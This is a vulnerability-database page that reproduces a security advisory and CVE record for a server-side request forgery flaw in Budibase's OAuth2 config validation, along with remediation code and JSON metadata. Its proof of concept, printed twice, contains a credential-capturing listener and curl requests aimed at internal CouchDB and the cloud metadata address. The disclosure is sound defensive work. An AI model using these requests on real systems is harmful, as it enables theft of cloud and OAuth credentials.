Vulnerability-Lookup

GHSA-G6QX-G4PR-92V7

Vulnerability from github – Published: 2026-06-12 15:08 – Updated: 2026-06-12 15:08

Summary

Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection

Details

Summary

The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.

A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.

Details

Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!
  // ...
}

Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:

export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
  await blacklist.isBlacklisted(url)  // Checks against internal IPs
  const response = await fetch(url, { ...opts, redirect: "manual" })
  // Re-checks every redirect target
}

Where fetchWithBlacklist IS used (consistency gap proof): - automations/steps/discord.ts — Discord webhook - automations/steps/slack.ts — Slack webhook - automations/steps/make.ts — Make.com integration - automations/steps/n8n.ts — n8n integration - automations/steps/zapier.ts — Zapier integration - automations/steps/outgoingWebhook.ts — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads

Where it is NOT used: - sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

PoC

# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'SSRF: {self.path} | Body: {body.decode()}')
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &

# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'

# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL

# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'

# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable

# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'

Additional SSRF Vector: REST Integration Redirect Bypass

The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.

Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.

Impact

Internal service access — CouchDB (default port 5984), Redis, internal APIs
Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)

Remediation

Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:

import { fetchWithBlacklist } from "@budibase/backend-core/utils"

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetchWithBlacklist(config.url, fetchConfig)
  // ...
}

Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:08:28Z",
    "nvd_published_at": "2026-05-27T18:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.\n\nA user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.\n\n### Details\n\n**Vulnerable code \u2014 `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**\n\n```typescript\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!\n  // ...\n}\n```\n\n**Safe wrapper used everywhere else \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:**\n\n```typescript\nexport async function fetchWithBlacklist(url: string, opts?: RequestInit) {\n  await blacklist.isBlacklisted(url)  // Checks against internal IPs\n  const response = await fetch(url, { ...opts, redirect: \"manual\" })\n  // Re-checks every redirect target\n}\n```\n\n**Where `fetchWithBlacklist` IS used (consistency gap proof):**\n- `automations/steps/discord.ts` \u2014 Discord webhook\n- `automations/steps/slack.ts` \u2014 Slack webhook\n- `automations/steps/make.ts` \u2014 Make.com integration\n- `automations/steps/n8n.ts` \u2014 n8n integration\n- `automations/steps/zapier.ts` \u2014 Zapier integration\n- `automations/steps/outgoingWebhook.ts` \u2014 Custom webhooks\n- Plugin download (GitHub, NPM)\n- Object store tarball downloads\n\n**Where it is NOT used:**\n- `sdk/workspace/oauth2/utils.ts:59` \u2014 OAuth2 token fetch \u2190 **THIS VULNERABILITY**\n\n### PoC\n\n```bash\n# 1. Start SSRF listener\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\u0027Content-Length\u0027, 0))\n        body = self.rfile.read(length)\n        print(f\u0027SSRF: {self.path} | Body: {body.decode()}\u0027)\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(b\u0027{\\\"access_token\\\":\\\"x\\\",\\\"token_type\\\":\\\"bearer\\\"}\u0027)\nhttp.server.HTTPServer((\u00270.0.0.0\u0027, 9999), H).serve_forever()\n\" \u0026\n\n# 2. As builder, validate OAuth2 config pointing to internal service\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:9999/ssrf\",\"clientId\":\"test\",\"clientSecret\":\"test\"}\u0027\n\n# Result: Listener captures POST with Authorization: Basic header containing credentials\n# The client_id and client_secret are leaked to the attacker-controlled URL\n\n# 3. Access internal CouchDB\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:5984/_all_dbs\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n\n# Result: {\"valid\":false,\"message\":\"Unauthorized\"} \u2014 confirms CouchDB is reachable\n\n# 4. Access AWS metadata (in cloud deployments)\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n```\n\n### Additional SSRF Vector: REST Integration Redirect Bypass\n\nThe REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: \"follow\"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.\n\n**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: \"manual\"` and re-checks every redirect target.\n\n### Impact\n\n- **Internal service access** \u2014 CouchDB (default port 5984), Redis, internal APIs\n- **Cloud metadata exfiltration** \u2014 AWS/GCP/Azure IAM credentials via 169.254.169.254\n- **Credential leakage** \u2014 OAuth2 client_id and client_secret sent as Basic auth to attacker URL\n- **Network reconnaissance** \u2014 Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)\n\n### Remediation\n\nReplace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:\n\n```typescript\nimport { fetchWithBlacklist } from \"@budibase/backend-core/utils\"\n\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetchWithBlacklist(config.url, fetchConfig)\n  // ...\n}\n```\n\nAlso fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.",
  "id": "GHSA-g6qx-g4pr-92v7",
  "modified": "2026-06-12T15:08:28Z",
  "published": "2026-06-12T15:08:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48146"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via OAuth2 Config Validation \u2014 Missing fetchWithBlacklist Protection"
}

CVE-2026-48146 (GCVE-0-2026-48146)

Vulnerability from cvelistv5 – Published: 2026-05-27 17:00 – Updated: 2026-05-28 14:09

Title

Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection

Summary

Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/Budibase/budibase/security/adv…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
Budibase	budibase	Affected: < 3.39.0

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48146",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-28T14:09:32.376406Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-28T14:09:35.958Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.39.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
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      "providerMetadata": {
        "dateUpdated": "2026-05-27T17:00:25.739Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"
        }
      ],
      "source": {
        "advisory": "GHSA-g6qx-g4pr-92v7",
        "discovery": "UNKNOWN"
      },
      "title": "Budibase: SSRF via OAuth2 Config Validation \u2014 Missing fetchWithBlacklist Protection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48146",
    "datePublished": "2026-05-27T17:00:25.739Z",
    "dateReserved": "2026-05-20T23:12:43.030Z",
    "dateUpdated": "2026-05-28T14:09:35.958Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-G6QX-G4PR-92V7

Summary

Details

PoC

Additional SSRF Vector: REST Integration Redirect Bypass

Impact

Remediation

CVE-2026-48146 (GCVE-0-2026-48146)

Tags

Sightings

Nomenclature